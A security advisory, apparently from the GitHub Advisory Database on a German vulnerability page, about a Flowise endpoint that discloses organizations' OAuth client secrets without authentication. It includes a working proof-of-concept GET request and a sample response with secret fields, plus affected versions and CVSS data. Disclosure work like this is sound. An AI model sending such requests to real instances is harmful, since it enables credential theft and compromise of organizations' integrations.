Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request
Summary
I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.
PoC
The following request can be sent by anyone on the internet without any cookies or authorization headers.
Request
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/jsonResponse: The server returns 200 OK with sensitive credentials:
{
"providers": [
{
"id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "azure",
"config": {
"tenantID": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "google",
"config": {
"clientID": "123455",
"clientSecret": "123455"
},
"status": "enable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "auth0",
"config": {
"domain": "",
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
},
{
"id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
"organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
"name": "github",
"config": {
"clientID": "",
"clientSecret": ""
},
"status": "disable",
"createdDate": "2025-12-26T18:52:33.453Z",
"updatedDate": "2025-12-26T19:31:56.087Z",
"createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
"updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
}
],
"callbacks": [
{
"providerName": "azure",
"callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
},
{
"providerName": "google",
"callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
},
{
"providerName": "auth0",
"callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
},
{
"providerName": "github",
"callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
}
]
}Affected Deployments
- FlowiseAI Cloud (cloud.flowiseai.com)
- Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed
Impact
An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | flowise | < 3.1.0 | 3.1.0 |
Verweise
- CVSS-Vektor
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N- Schwäche (CWE)
CWE-306, CWE-312- Plattform
- npm
- Paket
flowise- Veröffentlicht
- 16.04.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-6pcv-j4jx-m4vx - CC BY 4.0
Schwachstellenhistorie: flowise
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 114
- Erste → letzte
- 04.2024 10.2026
- Ohne Fix
- 16
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 28
- Hoch 62
- Mittel 24
Veröffentlichungen pro Jahr
- 2024: 11
- 2025: 22
- 2026: 81
-
Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request dieser Eintrag
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